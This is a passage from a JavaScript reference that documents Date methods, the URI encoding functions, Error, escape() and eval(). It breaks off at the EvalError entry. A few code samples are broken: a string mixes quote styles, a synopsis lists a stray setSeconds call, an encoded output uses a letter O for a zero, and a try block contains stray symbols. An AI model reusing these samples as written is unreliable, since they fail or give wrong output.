Once a Date object is created, a number of methods allow you to operate on it. Most methods simply allow you to get and set the year, month, day, hour, minute, second, and millisecond fields of the object, using either local time or UTC (universal, or GMT) time. The `toString()` method and its variants convert dates to human-readable strings. `getTime()` and `setTime()` convert to and from the internal representation of the Date object—the number of milliseconds since midnight (GMT) on January 1, 1970. In this standard millisecond format, a date and time are represented by a single integer, which makes date arithmetic particularly easy. The ECMAScript standard requires the Date object to be able to represent any date and time, to millisecond precision, within 100 million days before or after 1/1/1970. This is a range of plus or minus 273,785 years, so the JavaScript clock will not "roll over" until the year 275755.

Examples

Once you create a Date object, there are a variety of methods you can use to operate on it:

```
d = new Date();  // Get the current date and time
document.write('Today is: " + d.toLocaleDateString() + '. ');  // Display date
document.write('The time is: ' + d.toLocaleTimeString());      // Display time
var dayOfWeek = d.getDay();                                    // What weekday is it?
var weekend = (dayOfWeek == 0) || (dayOfWeek == 6);            // Is it a weekend?
```

Another common use of the Date object is to subtract the millisecond representations of the current time from some other time to determine the difference between the two times. The following client-side example shows two such uses:

```
<script language="JavaScript">
today = new Date();            // Make a note of today's date
christmas = new Date();        // Get a date with the current year
christmas.setMonth(11);        // Set the month to December...
christmas.setDate(25);         // and the day to the 25th
// If Christmas hasn't already passed, compute the number of
// milliseconds between now and Christmas, convert this
// to a number of days and print a message
if (today.getTime() < christmas.getTime()) {
    difference = christmas.getTime() - today.getTime();
    difference = Math.floor(difference / (1000 * 60 * 60 * 24));
    document.write('Only ' + difference + ' days until Christmas!<p>');
}
</script>
// ... rest of HTML document here ...
<script language="JavaScript">
// Here we use Date objects for timing
// We divide by 1000 to convert milliseconds to seconds
now = new Date();
document.write('<p>It took ' +
    (now.getTime()-today.getTime())/1000 +
    'seconds to load this page.');
</script>
```

See Also

`Date.parse()`, `Date.UTC()`

Date.getDate()

return the day-of-the-month field of a Date

Synopsis

date.getDate()

Returns

The day of the month of the specified Date object *date*, using local time. Return values are between 1 and 31.

Date.getDay()

return the day-of-the-week field of a Date

Synopsis

```
date.getDay()
```

Returns

The day of the week of the specified Date object *date*, using local time. Return values are between 0 (Sunday) and 6 (Saturday).

Date.getFullYear()

return the year field of a Date

Synopsis

```
date.getFullYear()
```

Returns

The year that results when *date* is expressed in local time. The return value is a full four-digit year, including the century, not a two-digit abbreviation.

Date.getHours()

return the hours field of a Date

Synopsis

```
date.getHours()
```

Returns

The hours field, expressed in local time, of the specified Date object *date*. Return values are between 0 (midnight) and 23 (11 p.m.).

Date.getMilliseconds()

return the milliseconds field of a Date

Synopsis

```
date.getMilliseconds()
```

Returns

The milliseconds field, expressed in local time, of *date*.

Date.getMinutes()

return the minutes field of a Date

Synopsis

```
date.getMinutes()
```

Returns

The minutes field, expressed in local time, of the specified Date object *date*. Return values are between 0 and 59.

Date.getMonth()

return the month field of a Date

Synopsis

```
date.getMonth()
```

Returns

The month field, expressed in local time, of the specified Date object *date*. Return values are between 0 (January) and 11 (December).

Date.getSeconds()

return the seconds field of a Date

Synopsis

```
date.getSeconds()
```

Returns

The seconds field, expressed in local time, of the specified Date object *date*. Return values are between 0 and 59.

Date.getTime()

return a Date in milliseconds

Synopsis

```
date.getTime()
```

Returns

The millisecond representation of the specified Date object *date*—that is, the number of milliseconds between midnight (GMT) on 1/1/1970 and the date and time specified by *date*.

Description

`getTime()` converts a date and time to a single integer. This is useful when you want to compare two Date objects or to determine the time elapsed between two dates. Note that the millisecond representation of a date is independent of the time zone, so there is no `getUTCTime()` method in addition to this one. Don't confuse this `getTime()` method with the `getDay()` and `getDate()` methods, which return the day of the week and the day of the month, respectively.

`Date.parse()` and `Date.UTC()` allow you to convert a date and time specification to a millisecond representation without going through the overhead of first creating a Date object.

See Also

`Date`, `Date.parse()`, `Date.setTime()`, `Date.UTC()`

Date.getTimezoneOffset()

determine the offset from GMT

Synopsis

date`.getTimezoneOffset()`

Returns

The difference, in minutes, between GMT and local time.

Description

`getTimezoneOffset()` returns the number of minutes difference between the GMT or UTC time and the local time. In effect, this function tells you what time zone the JavaScript code is running in and whether or not daylight saving time is (or would be) in effect at the specified *date*.

The return value is measured in minutes, rather than hours, because some countries have time zones that are not at even one-hour intervals.

Date.getUTCDate()

return the day-of-the-month field of a Date (universal time)

Synopsis

date`.getUTCDate()`

Returns

The day of the month (a value between 1 and 31) that results when *date* is expressed in universal time.

Date.getUTCDay()

return the day-of-the-week field of a Date (universal time)

Synopsis

date.getUTCDay()

Returns

The day of the week that results when *date* is expressed in universal time. Return values are between 0 (Sunday) and 6 (Saturday).

Date.getUTCFullYear()

return the year field of a Date (universal time)

Synopsis

date.getUTCFullYear()

Returns

The year that results when *date* is expressed in universal time. The return value is a full four-digit year, not a two-digit abbreviation.

Date.getUTCHours()

return the hours field of a Date (universal time)

Synopsis

date.getUTCHours()

Returns

The hours field, expressed in universal time, of *date*. The return value is an integer between 0 (midnight) and 23 (11 p.m.).

Date.getUTCMilliseconds()

return the milliseconds field of a Date (universal time)

Synopsis

date.getUTCMilliseconds()

Returns

The milliseconds field, expressed in universal time, of *date*.

Date.getUTCMinutes()

return the minutes field of a Date (universal time)

Synopsis

```
date.getUTCMinutes()
```

Returns

The minutes field, expressed in universal time, of *date*. The return value is an integer between 0 and 59.

Date.getUTCMonth()

return the month-of-the-year field of a Date (universal time)

Synopsis

```
date.getUTCMonth()
```

Returns

The month of the year that results when *date* is expressed in universal time. The return value is an integer between 0 (January) and 11 (December). Note that the Date object represents the first day of the month as 1 but represents the first month of the year as 0.

Date.getUTCSeconds()

return the seconds field of a Date (universal time)

Synopsis

```
date.getUTCSeconds()
```

Returns

The seconds field, expressed in universal time, of *date*. The return value is an integer between 0 and 59.

Date.getYear() deprecated

return the year field of a Date

Synopsis

```
date.getYear()
```

Returns

The year field of the specified Date object *date* minus 1900.

Description

`getYear()` returns the year field of a specified Date object minus 1900. As of ECMAScript v3, it is not required in conforming JavaScript implementations; use `getFullYear()` instead.

Date.now() ECMAScript 5

return the current time in milliseconds

Synopsis

```
Date.now()
```

Returns

The current time, in milliseconds since midnight GMT on January 1, 1970.

Description

Prior to ECMAScript 5, you can implement this method like this:

```
Date.now = function() { return (new Date()).getTime(); }
```

See Also

`Date`, `Date.getTime()`

Date.parse()

parse a date/time string

Synopsis

`Date.parse(`*`date`*`)`

Arguments

`date`
: A string containing the date and time to be parsed.

Returns

The number of milliseconds between the specified date and time and midnight GMT on January 1, 1970.

Description

`Date.parse()`is a static method of Date. It parses the date specified by its single string argument returns it as the number of milliseconds since the epoch. This return value can be used directly, used to create a new Date object, or used to set the date in an existing Date object with `Date.setTime()`.

ECMAScript 5 requires this method to be able to parse strings returned by the `Date.toISOString()` method. In ECMAScript 5 and before, this method is also required to be able to

parse the implementation-dependent strings returned by the `toUTCString()` and `toString()` methods.

See Also

`Date`, `Date.setTime()`, `Date.toISOString()`, `Date.toString()`

Date.setDate()

set the day-of-the-month field of a Date

Synopsis

```
date.setDate(day_of_month)
```

Arguments

day_of_month
: An integer between 1 and 31 that is used as the new value (in local time) of the day-of-the-month field of *date*.

Returns

The millisecond representation of the adjusted date. Prior to ECMAScript standardization, this method returns nothing.

Date.setFullYear()

set the year and, optionally, the month and date fields of a Date

Synopsis

```
date.setFullYear(year)
date.setFullYear(year, month)
date.setFullYear(year, month, day)
```

Arguments

year
: The year, expressed in local time, to be set in *date*. This argument should be an integer that includes the century, such as 1999; it should not be an abbreviation, such as 99.

month
: An optional integer between 0 and 11 that is used as the new value (in local time) of the month field of *date*.

day
: An optional integer between 1 and 31 that is used as the new value (in local time) of the day-of-the-month field of *date*.

Returns

The internal millisecond representation of the adjusted date.

Date.setHours()

set the hours, minutes, seconds, and milliseconds fields of a Date

Synopsis

```
date.setHours(hours)
date.setHours(hours, minutes)
date.setHours(hours, minutes, seconds)
date.setHours(hours, minutes, seconds, millis)
```

Arguments

hours
: An integer between 0 (midnight) and 23 (11 p.m.) local time that is set as the new hours value of *date*.

minutes
: An optional integer, between 0 and 59, that is used as the new value (in local time) of the minutes field of *date*. This argument is not supported prior to ECMAScript standardization.

seconds
: An optional integer, between 0 and 59, that is used as the new value (in local time) of the seconds field of *date*. This argument is not supported prior to ECMAScript standardization.

millis
: An optional integer, between 0 and 999, that is used as the new value (in local time) of the milliseconds field of *date*. This argument is not supported prior to ECMAScript standardization.

Returns

The millisecond representation of the adjusted date. Prior to ECMAScript standardization, this method returns nothing.

Date.setMilliseconds()

set the milliseconds field of a Date

Synopsis

```
date.setMilliseconds(millis)
```

Arguments

millis
: The milliseconds field, expressed in local time, to be set in *date*. This argument should be an integer between 0 and 999.

Returns

The millisecond representation of the adjusted date.

Date.setMinutes()

set the minutes, seconds, and milliseconds fields of a Date

Synopsis

```
date.setMinutes(minutes)
date.setMinutes(minutes, seconds)
date.setMinutes(minutes, seconds, millis)
```

Arguments

minutes
An integer between 0 and 59 that is set as the minutes value (in local time) of the Date object *date*.

seconds
An optional integer, between 0 and 59, that is used as the new value (in local time) of the seconds field of *date*. This argument is not supported prior to ECMAScript standardization.

millis
An optional integer, between 0 and 999, that is used as the new value (in local time) of the milliseconds field of *date*. This argument is not supported prior to ECMAScript standardization.

Returns

The millisecond representation of the adjusted date. Prior to ECMAScript standardization, this method returns nothing.

Date.setMonth()

set the month and day fields of a Date

Synopsis

```
date.setMonth(month)
date.setMonth(month, day)
```

Arguments

month
An integer between 0 (January) and 11 (December) that is set as the month value (in local time) for the Date object *date*. Note that months are numbered beginning with 0, while days within the month are numbered beginning with 1.

day
An optional integer between 1 and 31 that is used as the new value (in local time) of the day-of-the-month field of *date*. This argument is not supported prior to ECMAScript standardization.

Returns

The millisecond representation of the adjusted date. Prior to ECMAScript standardization, this method returns nothing.

Date.setSeconds()

set the seconds and milliseconds fields of a Date

Synopsis

```
date.setSeconds(seconds)
date.setSeconds(seconds, millis)
```

Arguments

seconds
: An integer between 0 and 59 that is set as the seconds value for the Date object *date*.

millis
: An optional integer, between 0 and 999, that is used as the new value (in local time) of the milliseconds field of *date*. This argument is not supported prior to ECMAScript standardization.

Returns

The millisecond representation of the adjusted date. Prior to ECMAScript standardization, this method returns nothing.

Date.setTime()

set a Date in milliseconds

Synopsis

```
date.setTime(milliseconds)
```

Arguments

milliseconds
: The number of milliseconds between the desired date and time and midnight GMT on January 1, 1970. A millisecond value of this type may also be passed to the `Date()` constructor and may be obtained by calling the `Date.UTC()` and `Date.parse()` methods. Representing a date in this millisecond format makes it independent of time zone.

Returns

The *milliseconds* argument. Prior to ECMAScript standardization, this method returns nothing.

Date.setUTCDate()

set the day-of-the-month field of a Date (universal time)

Synopsis

```
date.setUTCDate(day_of_month)
```

Arguments

day_of_month
: The day of the month, expressed in universal time, to be set in *date*. This argument should be an integer between 1 and 31.

Returns

The internal millisecond representation of the adjusted date.

Date.setUTCFullYear()

set the year, month, and day fields of a Date (universal time)

Synopsis

```
date.setUTCFullYear(year)
date.setSeconds(seconds, millis)
date.setUTCFullYear(year, month, day)
```

Arguments

year
: The year, expressed in universal time, to be set in *date*. This argument should be an integer that includes the century, such as 1999, not an abbreviation, such as 99.

month
: An optional integer between 0 and 11 that is used as the new value (in universal time) of the month field of *date*. Note that months are numbered beginning with 0, while days within the month are numbered beginning with 1.

day
: An optional integer between 1 and 31 that is used as the new value (in universal time) of the day-of-the-month field of *date*.

Returns

The internal millisecond representation of the adjusted date.

Date.setUTCHours()

set the hours, minutes, seconds, and milliseconds fields of a Date (universal time)

Synopsis

```
date.setUTCHours(hours)
date.setUTCHours(hours, minutes)
```

```
date.setUTCHours(hours, minutes, seconds)
date.setUTCHours(hours, minutes, seconds, millis)
```

Arguments

hours
: The hours field, expressed in universal time, to be set in *date*. This argument should be an integer between 0 (midnight) and 23 (11 p.m.).

minutes
: An optional integer, between 0 and 59, that is used as the new value (in universal time) of the minutes field of *date*.

seconds
: An optional integer, between 0 and 59, that is used as the new value (in universal time) of the seconds field of *date*.

millis
: An optional integer, between 0 and 999, that is used as the new value (in universal time) of the milliseconds field of *date*.

Returns

The millisecond representation of the adjusted date.

Date.setUTCMilliseconds()

set the milliseconds field of a Date (universal time)

Synopsis

```
date.setUTCMilliseconds(millis)
```

Arguments

millis
: The milliseconds field, expressed in universal time, to be set in *date*. This argument should be an integer between 0 and 999.

Returns

The millisecond representation of the adjusted date.

Date.setUTCMinutes()

set the minutes, seconds, and milliseconds fields of a Date (universal time)

Synopsis

```
date.setUTCMinutes(minutes)
date.setUTCMinutes(minutes, seconds)
date.setUTCMinutes(minutes, seconds, millis)
```

Arguments

minutes
: The minutes field, expressed in universal time, to be set in *date*. This argument should be an integer between 0 and 59.

seconds
: An optional integer between 0 and 59 that is used as the new value (in universal time) of the seconds field of *date*.

millis
: An optional integer between 0 and 999 that is used as the new value (in universal time) of the milliseconds field of *date*.

Returns

The millisecond representation of the adjusted date.

Date.setUTCMonth()

set the month and day fields of a Date (universal time)

Synopsis

```
date.setUTCMonth(month)
date.setUTCMonth(month, day)
```

Arguments

month
: The month, expressed in universal time, to be set in *date*. This argument should be an integer between 0 (January) and 11 (December). Note that months are numbered beginning with 0, while days within the month are numbered beginning with 1.

day
: An optional integer between 1 and 31 that is used as the new value (in universal time) of the day-of-the-month field of *date*.

Returns

The millisecond representation of the adjusted date.

Date.setUTCSeconds()

set the seconds and milliseconds fields of a Date (universal time)

Synopsis

```
date.setUTCSeconds(seconds)
date.setUTCSeconds(seconds, millis)
```

Arguments

seconds
: The seconds field, expressed in universal time, to be set in *date*. This argument should be an integer between 0 and 59.

millis
: An optional integer between 0 and 999 that is used as the new value (in universal time) of the milliseconds field of *date*.

Returns

The millisecond representation of the adjusted date.

Date.setYear() deprecated

set the year field of a Date

Synopsis

date.setYear(*year*)

Arguments

year
: An integer that is set as the year value (in local time) for the Date object *date*. If this value is between 0 and 99, inclusive, 1900 is added to it and it is treated as a year between 1900 and 1999.

Returns

The millisecond representation of the adjusted date. Prior to ECMAScript standardization, this method returns nothing.

Description

`setYear()` sets the year field of a specified Date object, with special behavior for years between 1900 and 1999.

As of ECMAScript v3, this function is no longer required in conforming JavaScript implementations; use `setFullYear()` instead.

Date.toDateString()

return the date portion of a Date as a string

Synopsis

date.toDateString()

Returns

An implementation-dependent, human-readable string representation of the date portion of *date*, expressed in the local time zone.

See Also

Date.toString()
Date.toTimeString()

Date.toGMTString() deprecated

convert a Date to a universal time string

Synopsis

date.toGMTString()

Returns

A string representation of the date and time specified by the Date object *date*. The date is converted from the local time zone to the GMT time zone before being converted to a string.

Description

toGMTString() is deprecated in favor of the identical method Date.toUTCString().

As of ECMAScript v3, conforming implementations of JavaScript are no longer required to provide this method; use toUTCString() instead.

See Also

Date.toUTCString()

Date.toISOString() ECMAScript 5

convert a Date to an ISO8601-formatted string

Synopsis

date.toISOString()

Returns

A string representation of *date*, formatted according to the ISO-8601 standard and expressed as a full-precision combined date and time in UTC with a timezone of "Z". The returned string has this format:

yyyy-mm-ddThh:mm:ss.sssZ

See Also

Date.parse(), Date.toString()

Date.toJSON

ECMAScript 5

JSON-serialize a Date object

Synopsis

date.toJSON(*key*)

Arguments

key

JSON.stringify() passes this argument, but the toJSON() method ignores it.

Returns

A string representation of the date, obtained by calling its toISOString() method.

Description

This method is used by JSON.stringify() to convert a Date object to a string. It is not intended for general use.

See Also

Date.toISOString(), JSON.stringify()

Date.toLocaleDateString()

return the date portion of a Date as a locally formatted string

Synopsis

date.toLocaleDateString()

Returns

An implementation-dependent, human-readable string representation of the date portion of *date*, expressed in the local time zone and formatted according to local conventions.

See Also

Date.toDateString(), Date.toLocaleString(), Date.toLocaleTimeString(), Date.toString(), Date.toTimeString()

Date.toLocaleString()

convert a Date to a locally formatted string

Synopsis

date.toLocaleString()

Returns

A string representation of the date and time specified by *date*. The date and time are represented in the local time zone and formatted using locally appropriate conventions.

Usage

`toLocaleString()` converts a date to a string, using the local time zone. This method also uses local conventions for date and time formatting, so the format may vary from platform to platform and from country to country. `toLocaleString()` returns a string formatted in what is likely the user's preferred date and time format.

See Also

`Date.toISOString()`, `Date.toLocaleDateString()`, `Date.toLocaleTimeString()`, `Date.toString()`, `Date.toUTCString()`

Date.toLocaleTimeString()

return the time portion of a Date as a locally formatted string

Synopsis

date`.toLocaleTimeString()`

Returns

An implementation-dependent, human-readable string representation of the time portion of *date*, expressed in the local time zone and formatted according to local conventions.

See Also

`Date.toDateString()`, `Date.toLocaleDateString()`, `Date.toLocaleString()`, `Date.toString()`, `Date.toTimeString()`

Date.toString()

convert a Date to a string — Overrides Object.toString()

Synopsis

date`.toString()`

Returns

A human-readable string representation of *date*, expressed in the local time zone.

Description

`toString()` returns a human-readable, implementation-dependent string representation of *date*. Unlike `toUTCString()`, `toString()` expresses the date in the local time zone. Unlike `toLocaleString()`, `toString()` may not represent the date and time using locale-specific formatting.

Download from Wow! eBook <www.wowebook.com>

See Also

Date.parse()
Date.toDateString()
Date.toISOString()
Date.toLocaleString()
Date.toTimeString()
Date.toUTCString()

Date.toTimeString()

return the time portion of a Date as a string

Synopsis

date.toTimeString()

Returns

A implementation-dependent, human-readable string representation of the time portion of *date*, expressed in the local time zone.

See Also

Date.toString(), Date.toDateString(), Date.toLocaleTimeString()

Date.toUTCString()

convert a Date to a string (universal time)

Synopsis

date.toUTCString()

Returns

A human-readable string representation, expressed in universal time, of *date*.

Description

toUTCString() returns an implementation-dependent string that represents *date* in universal time.

See Also

Date.toISOString(), Date.toLocaleString(), Date.toString()

Date.UTC()

convert a Date specification to milliseconds

Synopsis

Date.UTC(*year*, *month*, *day*, *hours*, *minutes*, *seconds*, *ms*)

Arguments

year
: The year in four-digit format. If this argument is between 0 and 99, inclusive, 1900 is added to it and it is treated as a year between 1900 and 1999.

month
: The month, specified as an integer from 0 (January) to 11 (December).

day
: The day of the month, specified as an integer from 1 to 31. Note that this argument uses 1 as its lowest value, while other arguments use 0 as their lowest value. This argument is optional.

hours
: The hour, specified as an integer from 0 (midnight) to 23 (11 p.m.). This argument is optional.

minutes
: The minutes in the hour, specified as an integer from 0 to 59. This argument is optional.

seconds
: The seconds in the minute, specified as an integer from 0 to 59. This argument is optional.

ms
: The number of milliseconds, specified as an integer from 0 to 999. This argument is optional and is ignored prior to ECMAScript standardization.

Returns

The millisecond representation of the specified universal time. That is, this method returns the number of milliseconds between midnight GMT on January 1, 1970 and the specified time.

Description

`Date.UTC()` is a static method; it is invoked through the `Date()` constructor, not through an individual Date object.

The arguments to `Date.UTC()` specify a date and time and are understood to be in UTC; they are in the GMT time zone. The specified UTC time is converted to the millisecond format, which can be used by the `Date()` constructor method and by the `Date.setTime()` method.

The `Date()` constructor method can accept date and time arguments identical to those that `Date.UTC()` accepts. The difference is that the `Date()` constructor assumes local time, while `Date.UTC()` assumes universal time (GMT). To create a Date object using a UTC time specification, you can use code like this:

```
d = new Date(Date.UTC(1996, 4, 8, 16, 30));
```

See Also

`Date`, `Date.parse()`, `Date.setTime()`

Date.valueOf()

convert a Date to millisecond representation — Overrides Object.valueOf()

Synopsis

date.valueOf()

Returns

The millisecond representation of *date*. The value returned is the same as that returned by Date.getTime().

decodeURI()

unescape characters in a URI

Synopsis

decodeURI(*uri*)

Arguments

uri
: A string that contains an encoded URI or other text to be decoded.

Returns

A copy of *uri*, with any hexadecimal escape sequences replaced with the characters they represent.

Throws

URIError
: Indicates that one or more of the escape sequences in *uri* is malformed and cannot be correctly decoded.

Description

decodeURI() is a global function that returns a decoded copy of its *uri* argument. It reverses the encoding performed by encodeURI(); see that function's reference page for details.

See Also

decodeURIComponent(), encodeURI(), encodeURIComponent(), escape(), unescape()

decodeURIComponent()

unescape characters in a URI component

Synopsis

decodeURI(*s*)

Arguments

s
: A string that contains an encoded URI component or other text to be decoded.

Returns

A copy of *s*, with any hexadecimal escape sequences replaced with the characters they represent.

Throws

`URIError`
: Indicates that one or more of the escape sequences in *s* is malformed and cannot be correctly decoded.

Description

`decodeURIComponent()` is a global function that returns a decoded copy of its *s* argument. It reverses the encoding performed by `encodeURIComponent()`. See that function's reference page for details.

See Also

`decodeURI()`, `encodeURI()`, `encodeURIComponent()`, `escape()`, `unescape()`

encodeURI()

escape characters in a URI

Synopsis

```
encodeURI(uri)
```

Arguments

uri
: A string that contains the URI or other text to be encoded.

Returns

A copy of *uri*, with certain characters replaced by hexadecimal escape sequences.

Throws

`URIError`
: Indicates that *uri* contains malformed Unicode surrogate pairs and cannot be encoded.

Description

`encodeURI()` is a global function that returns an encoded copy of its *uri* argument. ASCII letters and digits are not encoded, nor are the following ASCII punctuation characters:

```
- _ . ! ~ * ' ( )
```

Because `encodeURI()` is intended to encode complete URIs, the following ASCII punctuation characters, which have special meaning in URIs, are not escaped either:

```
; / ? : @ & = + $ , #
```

Any other characters in *uri* are replaced by converting each character to its UTF-8 encoding and then encoding each of the resulting one, two, or three bytes with a hexadecimal escape sequence of the form `%xx`. In this encoding scheme, ASCII characters are replaced with a single `%xx` escape, characters with encodings between `\u0080` and `\u07ff` are replaced with two escape sequences, and all other 16-bit Unicode characters are replaced with three escape sequences.

If you use this method to encode a URI, you should be certain that none of the components of the URI (such as the query string) contain URI separator characters such as ? and #. If the components have to contain these characters, you should encode each component separately with `encodeURIComponent()`.

Use `decodeURI()` to reverse the encoding applied by this method. Prior to ECMAScript v3, you can use `escape()` and `unescape()` methods (which are now deprecated) to perform a similar kind of encoding and decoding.

Example

```
// Returns http://www.isp.com/app.cgi?arg1=1&arg2=hello%20world
encodeURI("http://www.isp.com/app.cgi?arg1=1&arg2=hello world");
encodeURI("\u00a9");  // The copyright character encodes to %C2%A9
```

See Also

`decodeURI()`, `decodeURIComponent()`, `encodeURIComponent()`, `escape()`, `unescape()`

encodeURIComponent()

escape characters in a URI component

Synopsis

```
encodeURIComponent(s)
```

Arguments

s

A string that contains a portion of a URI or other text to be encoded.

Returns

A copy of *s*, with certain characters replaced by hexadecimal escape sequences.

Throws

`URIError`

Indicates that *s* contains malformed Unicode surrogate pairs and cannot be encoded.

Description

`encodeURIComponent()` is a global function that returns an encoded copy of its *s* argument. ASCII letters and digits are not encoded, nor are the following ASCII punctuation characters:

```
- _ . ! ~ * ' ( )
```

All other characters, including punctuation characters such as /, :, and # that serve to separate the various components of a URI, are replaced with one or more hexadecimal escape sequences. See `encodeURI()` for a description of the encoding scheme used.

Note the difference between `encodeURIComponent()` and `encodeURI()`: `encodeURIComponent()` assumes that its argument is a portion (such as the protocol, hostname, path, or query string) of a URI. Therefore it escapes the punctuation characters that are used to separate the portions of a URI.

Example

```
encodeURIComponent("hello world?");  // Returns hello%2Oworld%3F
```

See Also

`decodeURI()`, `decodeURIComponent()`, `encodeURI()`, `escape()`, `unescape()`

Error

a generic exception — Object → Error

Constructor

```
new Error()
new Error(message)
```

Arguments

message
: An optional error message that provides details about the exception.

Returns

A newly constructed Error object. If the *message* argument is specified, the Error object uses it as the value of its `message` property; otherwise, it uses an implementation-defined default string as the value of that property. When the `Error()` constructor is called as a function, without the `new` operator, it behaves just as it does when called with the `new` operator.

Properties

`message`
: An error message that provides details about the exception. This property holds the string passed to the constructor or an implementation-defined default string.

`name`
: A string that specifies the type of the exception. For instances of the Error class and all of its subclasses, this property specifies the name of the constructor used to create the instance.

Methods

`toString()`
: Returns an implementation-defined string that represents this Error object.

Description

Instances of the Error class represent errors or exceptions and are typically used with the `throw` and `try/catch` statements. The `name` property specifies the type of the exception, and the `message` property can provide human-readable details about the exception.

The JavaScript interpreter never throws Error objects directly; instead, it throws instances of one of the Error subclasses, such as SyntaxError or RangeError. In your own code, you may find it convenient to throw Error objects to signal exceptions, or you may prefer to simply throw an error message or error code as a primitive string or number value.

Note that the ECMAScript specification defines a `toString()` method for the Error class (it is inherited by each of the subclasses of Error) but that it does not require this `toString()` method to return a string that contains the contents of the `message` property. Therefore, you should not expect the `toString()` method to convert an Error object to a meaningful, human-readable string. To display an error message to a user, you should explicitly use the `name` and `message` properties of the Error object.

Examples

You might signal an exception with code like the following:

```
function factorial(x) {
    if (x < 0) throw new Error("factorial: x must be >= 0");
    if (x <= 1) return 1; else return x * factorial(x-1);
}
```

And if you catch an exception, you might display its to the user with code like the following (which uses the client-side `Window.alert()` method):

```
try { &*(&/* an error is thrown here */ }
catch(e) {
    if (e instanceof Error) {  // Is it an instance of Error or a subclass?
        alert(e.name + ": " + e.message);
    }
}
```

See Also

EvalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError

Error.message

a human-readable error message

Synopsis

error.message

Description

The `message` property of an Error object (or of an instance of any subclass of Error) is intended to contain a human-readable string that provides details about the error or exception that occurred. If a *`message`* argument is passed to the `Error()` constructor, this message becomes the value of the `message` property. If no *`message`* argument is passed, an Error object inherits an implementation-defined default value (which may be the empty string) for this property.

Error.name

the type of an error

Synopsis

`error``.name`

Description

The `name` property of an Error object (or of an instance of any subclass of Error) specifies the type of error or exception that occurred. All Error objects inherit this property from their constructor. The value of the property is the same as the name of the constructor. Thus SyntaxError objects have a `name` property of "SyntaxError", and EvalError objects have a `name` of "EvalError".

Error.toString()

convert an Error object to a string — Overrides Object.toString()

Synopsis

`error``. toString()`

Returns

An implementation-defined string. The ECMAScript standard does not specify anything about the return value of this method, except that it is a string. Notably, it does not require the returned string to contain the error name or the error message.

escape() — deprecated

encode a string

Synopsis

`escape(`*`s`*`)`

Arguments

s

The string that is to be "escaped" or encoded.

Returns

An encoded copy of *s* in which certain characters have been replaced by hexadecimal escape sequences.

Description

`escape()` is a global function. It returns a new string that contains an encoded version of *s*. The string *s* itself is not modified.

`escape()` returns a string in which all characters of *s* other than ASCII letters, digits, and the punctuation characters @, *, _, +, -, ., and / have been replaced by escape sequences of the form `%` *xx* or `%u` *xxxx* (where *x* represents a hexadecimal digit). Unicode characters `\u0000` to `\u00ff` are replaced with the `%` *xx* escape sequence, and all other Unicode characters are replaced with the `%u` *xxxx* sequence.

Use the `unescape()` function to decode a string encoded with `escape()`.

Although the `escape()` function was standardized in the first version of ECMAScript, it was deprecated and removed from the standard by ECMAScript v3. Implementations of ECMAScript are likely to implement this function, but they are not required to. You should use `encodeURI()` and `encodeURIComponent()` instead of `escape()`.

Example

```
escape("Hello World!");  // Returns "Hello%20World%21"
```

See Also

`encodeURI()`, `encodeURIComponent()`

eval()

execute JavaScript code from a string

Synopsis

```
eval(code)
```

Arguments

code

A string that contains the JavaScript expression to be evaluated or the statements to be executed.

Returns

The value of the evaluated *code*, if any.

Throws

`eval()` throws a SyntaxError if *code* is not legal JavaScript code. If the evaluation of *code* raises an error, `eval()` propagates that error.

Description

`eval()` is a global method that evaluates a string of JavaScript code. If *`code`* contains an expression, `eval` evaluates the expression and returns its value. (Some expressions, such as object and function literals look like statements and must be enclosed in parentheses when passed to `eval()` in order to resolve the ambiguity.) If *`code`* contains a JavaScript statement or statements, `eval()` executes those statements and returns the value, if any, returned by the last statement. If *`code`* does not return any value, `eval()` returns `undefined`. Finally, if *`code`* throws an exception, `eval()` passes that exception on to the caller.

`eval()` behaves different in ECMAScript 3 and ECMAScript 5, and in ECMAScript 5, it behaves differently in strict mode and non-strict mode, and a minor digression is necessary in order to explain these differences. It is much easier to implement efficient interpreters when a programming language defines `eval` as an operator instead of as a function. JavaScript's `eval` is a function, but for the sake of efficiency, the language draws a distinction between *direct*, operator-like calls to `eval()` and *indirect* calls. A direct call uses the identifier `eval` directly and, if you removed the parentheses, it would look like `eval` was an operator. Any other invocation of `eval()` is an indirect call. If you assign the `eval()` function to a variable with a different name and invoke it through that variable, it is an indirect call. Similarly, if you invoke eval() as a method of the global object, it is an indirect call.

With that distinction between direct and indirect calls made, we can document the behavior of `eval()` like this:

Direct call, ES3 and ES5 non-strict mode
: `eval()` evaluates *`code`* in the current lexical scope. If *`code`* contains variable or function declarations they are defined in the local scope. This is the normal use-case for `eval()`.

Indirect call, ES3
: The ECMAScript 3 specification allows interpreters to throw an EvalError for any indirect call to `eval()`. Implementations of ES3 don't generally do this in practice, but indirect calls should be avoided.

`Indirect call, ES5`
: In ECMAScript 5, indirect calls to `eval()` must not throw an EvalError, and instead must evaluate *`code`* in the global scope, ignoring any local variables in the current lexical scope. In ES5, we can assign `var geval = eval;`, then we can use `geval()` to evaluate *`code`* in the global scope.

Direct or Indirect call, strict mode
: In strict mode variable and function definitions in *`code`* are defined in a private scope that lasts only for the duration of the `eval()` call. This means that direct calls to `eval()` in strict mode cannot alter the lexical scope and indirect calls in strict mode cannot alter the global scope. These rules apply if the invocation of `eval()` is in strict mode, or if *`code`* begins with a "use strict" directive.

`eval()` provides a very powerful capability to the JavaScript language, but its use is infrequent in real-world programs. Obvious uses are to write programs that act as recursive JavaScript interpreters and to write programs that dynamically generate and evaluate JavaScript code.

Most JavaScript functions that expect string arguments convert whatever value they are passed to a string before proceeding. `eval()` does not behave like this: if *`code`* is not a primitive string

value, it is simply returned unchanged. Be careful, therefore, that you do not inadvertently pass a String object to `eval()` when you intended to pass a primitive string value.

Example

```
eval("1+2");        // Returns 3
// This code uses client-side JavaScript methods to prompt the user to
// enter an expression and to display the results of evaluating it.
// See the client-side methods Window.alert() and Window.prompt() for details.
try {
    alert("Result: " +  eval(prompt("Enter an expression:","")));
}
catch(exception) {
    alert(exception);
}
```

EvalError

thrown when eval() is used improperly — Object → Error → EvalError

Constructor

```
new EvalError()
new EvalError(message)
```

Arguments

message
: An optional error message that provides details about the exception. If specified, this argument is used as the value for the `message` property of the EvalError object.

Returns

A newly constructed EvalError object. If the *message* argument is specified, the Error object uses it as the value of its `message` property; otherwise, it uses an implementation-defined default string as the value of that property. When the `EvalError()` constructor is called as a function without the `new` operator, it behaves just as it does when called with the `new` operator.

Properties

`message`
: An error message that provides details about the exception. This property holds the string passed to the constructor or an implementation-defined default string. See `Error.message` for details.

`name`
: A string that specifies the type of the exception. All EvalError objects inherit the value "EvalError" for this property.

Description

